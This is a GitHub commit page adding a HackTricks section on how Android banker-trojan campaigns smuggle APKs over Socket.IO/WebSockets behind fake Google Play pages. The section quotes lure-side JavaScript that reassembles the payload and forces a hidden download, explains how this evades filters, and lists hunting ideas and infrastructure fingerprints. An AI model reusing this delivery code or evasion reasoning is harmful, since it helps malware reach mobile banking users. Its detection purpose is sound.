Skip to content

Commit d45fb38

Browse files
author
HackTricks News Bot
committed
Add content from: Banker Trojan Targeting Indonesian and Vietnamese Android Us...
- Remove searchindex.js (auto-generated file)
1 parent 74cc86a commit d45fb38

2 files changed

Lines changed: 65 additions & 1 deletion

File tree

searchindex.js

Lines changed: 0 additions & 1 deletion
This file was deleted.

src/generic-methodologies-and-resources/phishing-methodology/mobile-phishing-malicious-apps.md

Lines changed: 65 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -222,11 +222,76 @@ public void onMessageReceived(RemoteMessage msg){
222222

223223
---
224224

225+
## Socket.IO/WebSocket-based APK Smuggling + Fake Google Play Pages
226+
227+
Attackers increasingly replace static APK links with a Socket.IO/WebSocket channel embedded in Google Play–looking lures. This conceals the payload URL, bypasses URL/extension filters, and preserves a realistic install UX.
228+
229+
Typical client flow observed in the wild:
230+
231+
```javascript
232+
// Open Socket.IO channel and request payload
233+
const socket = io("wss://<lure-domain>/ws", { transports: ["websocket"] });
234+
socket.emit("startDownload", { app: "com.example.app" });
235+
236+
// Accumulate binary chunks and drive fake Play progress UI
237+
const chunks = [];
238+
socket.on("chunk", (chunk) => chunks.push(chunk));
239+
socket.on("downloadProgress", (p) => updateProgressBar(p));
240+
241+
// Assemble APK client‑side and trigger browser save dialog
242+
socket.on("downloadComplete", () => {
243+
const blob = new Blob(chunks, { type: "application/vnd.android.package-archive" });
244+
const url = URL.createObjectURL(blob);
245+
const a = document.createElement("a");
246+
a.href = url; a.download = "app.apk"; a.style.display = "none";
247+
document.body.appendChild(a); a.click();
248+
});
249+
```
250+
251+
Why it evades simple controls:
252+
- No static APK URL is exposed; payload is reconstructed in memory from WebSocket frames.
253+
- URL/MIME/extension filters that block direct .apk responses may miss binary data tunneled via WebSockets/Socket.IO.
254+
- Crawlers and URL sandboxes that don’t execute WebSockets won’t retrieve the payload.
255+
256+
Hunting and detection ideas:
257+
- Web/network telemetry: flag WebSocket sessions that transfer large binary chunks followed by creation of a Blob with MIME application/vnd.android.package-archive and a programmatic `<a download>` click. Look for client strings like socket.emit('startDownload'), and events named chunk, downloadProgress, downloadComplete in page scripts.
258+
- Play-store spoof heuristics: on non-Google domains serving Play-like pages, hunt for Google Play UI strings such as http.html:"VfPpkd-jY41G-V67aGc", mixed-language templates, and fake “verification/progress” flows driven by WS events.
259+
- Controls: block APK delivery from non-Google origins; enforce MIME/extension policies that include WebSocket traffic; preserve browser safe-download prompts.
260+
261+
See also WebSocket tradecraft and tooling:
262+
263+
{{#ref}}
264+
../../pentesting-web/websocket-attacks.md
265+
{{#endref}}
266+
267+
### Open-directory APK staging & rotation
268+
269+
Operators often keep multiple bank-themed loaders in browsable indexes for rapid rotation and reuse. This enables:
270+
- Fast swapping of filenames/brands without code changes in lures.
271+
- Seed lists for smishing/SEO lures that reference fresh filenames.
272+
273+
Hunting tips:
274+
- Continuously scrape open indexes for APK filenames + hashes; diff over time to track rotations.
275+
- Correlate APK families by reused signing certs, package names, hardcoded endpoints, and string kits.
276+
277+
### Infrastructure fingerprints for proactive blocking
278+
279+
Common recurring traits worth risk-scoring when observed together:
280+
- Hosting: Alibaba, Scloud, Cloudflare fronting; geo often SG/ID; nginx servers.
281+
- Registrar/NS: Gname.com Pte. Ltd.; nameservers like share-dns[.]net; inexpensive/fast issuance CAs (e.g., R10, R11, WE1).
282+
- Content: page titles like “Identitas Kependudukan Digital- Apps on Google Play”; short domain-registration→first-DNS resolution deltas (< 12h) indicating quick operationalization.
283+
284+
285+
225286
## References
226287

227288
- [The Dark Side of Romance: SarangTrap Extortion Campaign](https://zimperium.com/blog/the-dark-side-of-romance-sarangtrap-extortion-campaign)
228289
- [Luban – Android image compression library](https://github.com/Curzibn/Luban)
229290
- [Android Malware Promises Energy Subsidy to Steal Financial Data (McAfee Labs)](https://www.mcafee.com/blogs/other-blogs/mcafee-labs/android-malware-promises-energy-subsidy-to-steal-financial-data/)
230291
- [Firebase Cloud Messaging — Docs](https://firebase.google.com/docs/cloud-messaging)
231292

293+
- [Banker Trojan Targeting Indonesian and Vietnamese Android Users (DomainTools)](https://dti.domaintools.com/banker-trojan-targeting-indonesian-and-vietnamese-android-users/)
294+
- [DomainTools SecuritySnacks – ID/VN Banker Trojans (IOCs)](https://github.com/DomainTools/SecuritySnacks/blob/main/2025/BankerTrojan-ID-VN)
295+
- [Socket.IO](https://socket.io)
296+
232297
{{#include ../../banners/hacktricks-training.md}}

0 commit comments

Comments
 (0)